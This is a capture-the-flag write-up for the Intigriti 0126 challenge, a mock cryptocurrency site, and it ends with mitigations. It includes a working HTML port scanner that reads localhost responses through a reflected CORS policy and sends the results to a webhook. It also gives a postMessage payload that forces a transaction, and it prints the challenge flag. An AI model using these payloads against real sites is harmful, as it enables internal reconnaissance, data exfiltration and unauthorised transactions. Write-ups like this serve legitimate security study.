# Write-up: Intigriti 0126 Challenge - From CORS Scan to postMessage Takeover
## 1. Initial Analysis & Application Flow
The target application, **CRYPTIGRITI**, is a modern-styled mock cryptocurrency trading platform. Before searching for vulnerabilities, it was essential to understand the application's legitimate user flows, especially the transaction process.

**Legitimate Transaction Flow:**
1. A user decides to buy a currency and is taken to the `checkout.html` page.
2. The `checkout.html` page loads a `payment-gateway.html` page inside an `<iframe>`.
3. `checkout.html` uses `postMessage` to send an `init` message to the iframe, containing the transaction details (currency, amount, price).
4. The `payment-gateway.html` iframe, after simulating the payment process, sends a `submitTransaction` message back to the parent window (`checkout.html`).
5. The `checkout.html` page listens for this message. Upon receiving it, it makes a final `POST` request to the `/api/transaction` endpoint to record the transaction on the backend.
**Discovering the Goal:**
Initial reconnaissance of the static files (`home.html`, `dashboard.html`, `js/common.js`) also revealed a hidden "flag banner" functionality. The `checkAuth()` function in `js/common.js` fetches user details from an `/api/me` endpoint. If the response contains a `flag` property, it is displayed to the user.
Further analysis showed that the platform deals with Bitcoin (BTC), Monero (XMR), and an exclusive currency named **`1337COIN`**. The presence of this unique coin suggested that acquiring it was the key to unlocking the flag. The main goal was therefore shifted from a simple XSS to finding a way to force a transaction of `1337COIN`.
---
## 2. Formulating the Attack Path: Connecting the Clues
While the individual vulnerabilities are not overly complex, the difficulty in this challenge lay in connecting several subtle clues to uncover the attack path.
**Clue #1: The Sandboxed Admin Bot**
The `security.html` page contained a critical hint:
> The admin bot runs in a sandboxed environment
This is a crucial piece of the puzzle. A sandboxed browser can still typically access its own local network stack, suggesting the bot might be able to visit services running on `localhost`. This prompted the idea of shifting the attack surface from the public challenge domain (`challenge-0126.intigriti.io`) to the bot's local machine.
**Clue #2: The Dynamic CORS Policy**
A `curl` request to the challenge server, including an arbitrary `Origin` header, confirmed that the server dynamically reflects this origin in the `Access-Control-Allow-Origin` response header.
```sh
$ curl -I -H "Origin: https://attacker-example.com" https://challenge-0126.intigriti.io/
HTTP/2 200
access-control-allow-origin: https://attacker-example.com
vary: Origin
access-control-allow-credentials: true
...
```
**Connecting the Clues**
Standard browser security (Same-Origin Policy) would normally prevent a script on `attacker-example.com` from reading the response of a `fetch` request to `http://localhost:8080`. The response would be "opaque," making it impossible to distinguish a closed port (network error) from an open port (valid HTTP response).
However, because the server reflects the `Origin`, the browser permits the script on the attacker's site to read the response from `localhost`. This allows us to build a reliable port scanner. The combination of these clues led to the conclusion that the first step of the exploit *must* be to scan the bot's `localhost` to find the running service.
---
## 3. The Vulnerability Chain: A Step-by-Step Exploit
The exploit path requires chaining two distinct vulnerabilities.
### Part 1: Internal Port Scanning via Permissive CORS
As established, the server's dynamic CORS policy allows us to build a port scanner to find the internal service.

#### PoC: Port Scanner Payload
The following script will iterate through ports 8000-9000. If it finds an open port serving HTTP content, it exfiltrates the port number and the first 500 characters of the response to a webhook.
```html
<!DOCTYPE html>
<html>
<head>
<title>Scanner</title>
</head>
<body>
<script>
const WEBHOOK_URL = "https://webhook.site/your-webhook-url";
navigator.sendBeacon(WEBHOOK_URL, JSON.stringify({ status: "started", userAgent: navigator.userAgent }));
async function scan() {
const startPort = 8000;
const endPort = 9000;
const batchSize = 200;
for (let i = startPort; i <= endPort; i += batchSize) {
const tasks = [];
for (let port = i; port < i + batchSize && port <= endPort; port++) {
tasks.push(checkPort(port));
}
await Promise.all(tasks);
}
navigator.sendBeacon(WEBHOOK_URL, JSON.stringify({ status: "finished" }));
}
async function checkPort(port) {
const controller = new AbortController();
const timeout = setTimeout(() => controller.abort(), 1500);
try {
const response = await fetch(`http://localhost:${port}`, {
mode: 'cors',
credentials: 'include',
signal: controller.signal
});
const data = await response.text();
navigator.sendBeacon(WEBHOOK_URL, JSON.stringify({
found: true,
port: port,
content: data.substring(0, 500)
}));
} catch (err) {
} finally {
clearTimeout(timeout);
}
}
scan();
</script>
</body>
</html>
```
### Part 2: `postMessage` with No Origin Validation
The core vulnerability lies in the `checkout.html` page. This page implements a `window.addEventListener` for `'message'` events to handle transactions initiated from an `iframe`. However, it critically fails to validate the origin of the message.
#### Vulnerable Code Snippet (`checkout.html`)
This is the vulnerable code block, which listens for messages from any origin and processes them as valid transactions.
```javascript
// VULNERABILITY: Listen for postMessage from payment gateway (any origin!)
window.addEventListener('message', async function(event) {
// CRITICAL VULNERABILITY: No origin validation!
// This allows any website to send transaction data
if (event.data.type === 'submitTransaction') {
const transactionData = event.data.transaction;
// ... code to process the transaction follows
}
});
```
This flaw allows any website to open `checkout.html` and send a crafted `postMessage` to trigger a transaction with arbitrary parameters.
---
## 4. Full Proof of Concept (PoC)
By combining these two vulnerabilities, we can construct the final attack.
#### Attack Steps:
1. **Host the port scanner** (from Part 1) and send the URL to the bot. The bot visits the page, and the internal port is revealed to the attacker via the webhook.
2. **Host the final exploit payload** below on an attacker-controlled server.
3. **Send the URL of the final exploit** to the victim. When the bot opens this page, the script will:
a. Open the checkout page in a new window, targeting the correct local port: `http://localhost:8080/checkout.html`.
b. Send a malicious `postMessage` to that window, instructing it to execute a transaction for `1337COIN`.
#### Final Exploit Payload:
```html
<script>
// The port discovered in the first step
const BOT_PORT = 8080;
// Open the checkout page
var target = window.open(
`http://localhost:${BOT_PORT}/checkout.html?currency=BTC&price=1`,
'_blank'
);
// Wait for the page to load, then send the malicious message
setTimeout(function () {
if (!target) return;
target.postMessage(
{
type: 'submitTransaction',
transaction: {
currency: '1337COIN',
amount: 1,
toAddress: '16d3871910ae088af0f20ebd5f90bf4e2d' // Attacker-controlled address
}
},
'*' // Target any origin
);
}, 2000);
</script>
```
Upon receiving the message, `checkout.html` processes the transaction. A POST request to /api/transaction is issued and the backend awards the `1337COIN` to the user, the `/api/me` endpoint includes the flag, and the banner is displayed.
## 4.5 Deep Dive: Why window.open() Works But iframe Doesn't - The SameSite Cookie Distinction
### The Critical Browser Security Model
While the exploit leverages both a permissive CORS policy and unvalidated `postMessage` listeners, there's a **third layer** that makes the attack possible: the target application's cookie configuration. Understanding why `window.open()` succeeds where an `<iframe>` would fail reveals a subtle but critical security boundary.
### Understanding SameSite Cookie Attributes
Modern browsers implement the **SameSite** cookie attribute to defend against Cross-Site Request Forgery (CSRF) attacks. However, the three modes offer different protection levels:
#### SameSite=Strict
```
✓ Cookies sent in:
- Same-site top-level navigation (user clicks link)
- Same-site form submissions
✗ Cookies NOT sent in:
- Cross-site iframe requests
- Cross-site fetch/XMLHttpRequest
- window.open() from different origin
- Cross-site form submissions
```
#### SameSite=Lax (Default in Modern Browsers)
```
✓ Cookies sent in:
- Same-site top-level navigation (user clicks link)
- window.open() from different origin ← KEY DIFFERENCE
- Safe HTTP methods (GET) in cross-site context
✗ Cookies NOT sent in:
- Cross-site iframe requests
- Cross-site fetch/XMLHttpRequest
- Unsafe HTTP methods (POST, DELETE) from cross-site
```
#### SameSite=None (Requires Secure flag)
```
✓ Cookies sent in:
- ALL cross-site requests (iframe, fetch, window.open, etc.)
- Requires Secure flag (HTTPS only)
```
### Why This Challenge Likely Uses SameSite=Lax
The vulnerable application probably configures its session cookies like this:
```javascript
// Typical (but vulnerable for this scenario) configuration
res.setHeader('Set-Cookie', 'token=eyJhbG...; SameSite=Lax; Secure; HttpOnly');
```
`SameSite=Lax` is chosen because it:
- Allows normal user workflows (links, bookmarks, history)
- Protects against simple CSRF attacks
- Is the **default behavior** in modern browsers if not specified
However, **this default provides insufficient protection** against the attack in this challenge.
### Attack Flow: How SameSite=Lax Enables the Exploit
```
Step 1: Bot visits attacker's page
┌─────────────────────────────────────────┐
https://attacker.com/exploit.html
✓ Bot is authenticated to localhost
✓ sessionId cookie is set (SameSite=Lax)
└─────────────────────────────────────────┘
Step 2: Attacker's JavaScript calls window.open()
┌──────────────────────────────────────────────────────────┐
window.open('http://localhost:8080/checkout.html')
Browser sees this as:
"User is opening a new window to a URL"
= Top-level navigation event
└──────────────────────────────────────────────────────────┘
Step 3: SameSite=Lax Permits Cookie Inclusion
┌──────────────────────────────────────────────────────────┐
Request to http://localhost:8080/checkout.html
Browser checks SameSite=Lax rules:
"Is this a top-level navigation?" → YES ✓
→ token cookie IS INCLUDED
└──────────────────────────────────────────────────────────┘
Step 4: checkout.html Loads Authenticated
┌──────────────────────────────────────────────────────────┐
http://localhost:8080/checkout.html
✓ Loaded in new window (can receive postMessage)
✓ Bot's session is intact (cookie included)
✓ Ready to process transactions
└──────────────────────────────────────────────────────────┘
Step 5: postMessage Injection (No Origin Validation)
┌──────────────────────────────────────────────────────────┐
target.postMessage({
type: 'submitTransaction',
transaction: {
currency: '1337COIN',
amount: 1,
toAddress: 'attacker-address'
}
}, '*')
✗ No origin validation → Message accepted
└──────────────────────────────────────────────────────────┘
Step 6: Backend Processes with Bot's Credentials
┌──────────────────────────────────────────────────────────┐
POST /api/transaction
✓ Authenticated as bot user (sessionId cookie)
✓ Backend processes transaction
✓ 1337COIN awarded to bot account
✓ Flag revealed via /api/me
└──────────────────────────────────────────────────────────┘
```
### Why an iframe Would Fail (The Critical Distinction)
If the attacker attempted to use an `<iframe>` instead:
```javascript
// This approach would NOT work:
const iframe = document.createElement('iframe');
iframe.src = 'http://localhost:8080/checkout.html';
document.body.appendChild(iframe);
```
**The failure chain:**
```
Step 1: iframe Element Created
┌──────────────────────────────────────────────────────────┐
<iframe src="http://localhost:8080/checkout.html">
└──────────────────────────────────────────────────────────┘
Step 2: Browser Interprets as Cross-Site iframe Request
┌──────────────────────────────────────────────────────────┐
Request to http://localhost:8080/checkout.html
Browser sees:
From: https://attacker.com (parent window)
To: http://localhost:8080 (iframe)
Context: iframe (NOT top-level navigation)
└──────────────────────────────────────────────────────────┘
Step 3: SameSite=Lax Blocks the Cookie
┌──────────────────────────────────────────────────────────┐
Browser checks SameSite=Lax rules:
"Is this a top-level navigation?" → NO ✗
"Is this a safe HTTP method (GET)?" → YES
"But context is iframe, not top-level" → BLOCK ✗
→ sessionId cookie is NOT INCLUDED
└──────────────────────────────────────────────────────────┘
Step 4: checkout.html Loads Unauthenticated
┌──────────────────────────────────────────────────────────┐
http://localhost:8080/checkout.html
✗ Loaded in iframe (postMessage still possible)
✗ NO bot's session (no cookie)
✗ User is not authenticated
└──────────────────────────────────────────────────────────┘
Step 5: Backend Rejects Transaction
┌──────────────────────────────────────────────────────────┐
POST /api/transaction
✗ Not authenticated (no sessionId cookie)
✗ Backend returns 401 Unauthorized
✗ Transaction FAILS
✗ Exploit is DEFEATED
└──────────────────────────────────────────────────────────┘
```
---
## 5. Mitigation
### Origin Validation in postMessage Listeners
The most critical fix is to implement strict origin validation in the `message` event listener. The current code accepts messages from **any origin**, which is a fundamental security violation.
#### ✅ Secure Implementation
**Option 1: Simple Origin Whitelist (Recommended)**
```javascript
const TRUSTED_ORIGIN = 'https://challenge-0126.intigriti.io';
window.addEventListener('message', async function(event) {
// Validate origin against whitelist
if (event.origin !== TRUSTED_ORIGIN) {
console.error('Untrusted origin attempted postMessage:', event.origin);
return;
}
...
```
**Option 2: Additional Source Validation (Defense in Depth)**
```javascript
const TRUSTED_ORIGIN = 'https://challenge-0126.intigriti.io';
const PAYMENT_GATEWAY_IFRAME = document.getElementById('paymentFrame');
window.addEventListener('message', async function(event) {
// Validate both origin AND message source
if (event.origin !== TRUSTED_ORIGIN) {
console.error('Untrusted origin:', event.origin);
return;
}
// Ensure message comes from the specific iframe we trust
if (event.source !== PAYMENT_GATEWAY_IFRAME.contentWindow) {
console.error('Message source is not from trusted iframe');
return;
}
if (event.data.type === 'submitTransaction') {
const transactionData = event.data.transaction;
await processTransaction(transactionData);
}
});
```
---
### Implement Restrictive CORS Policy
The server reflects **any** origin in the `Access-Control-Allow-Origin` header, enabling port scanning attacks. A restrictive CORS policy is essential.
#### ❌ Current Vulnerable Policy
```
Access-Control-Allow-Origin: * (or dynamically reflected)
Access-Control-Allow-Credentials: true
```
#### ✅ Secure CORS Configuration
**Node.js/Express Example:**
```javascript
const express = require('express');
const cors = require('cors');
const corsOptions = {
origin: ['https://challenge-0126.intigriti.io'], // Only this domain
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
maxAge: 3600
};
app.use(cors(corsOptions));
// Alternative: Manual header configuration
app.use((req, res, next) => {
const allowedOrigins = ['https://challenge-0126.intigriti.io'];
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
}
next();
});
```
---
## 6. Additional Findings: Stored XSS in `toAddress`
During the analysis, a secondary vulnerability was discovered: a straightforward Stored Cross-Site Scripting (XSS) vulnerability. Although not required for the primary exploit path, this finding is worth noting as it demonstrates a separate security weakness in the application.
The `toAddress` field of a transaction is not properly sanitized before being rendered in the live transaction feed on the `marketwatch.html` page. An attacker can submit a transaction with a malicious JavaScript payload in the `toAddress` field. When any user visits the `marketwatch.html` page, the script will be rendered as part of the transaction list and execute in their browser's context.
---
### Final Flag
`INTIGRITI{019bd594-b91d-713c-b7b9-7c8aa5def220}`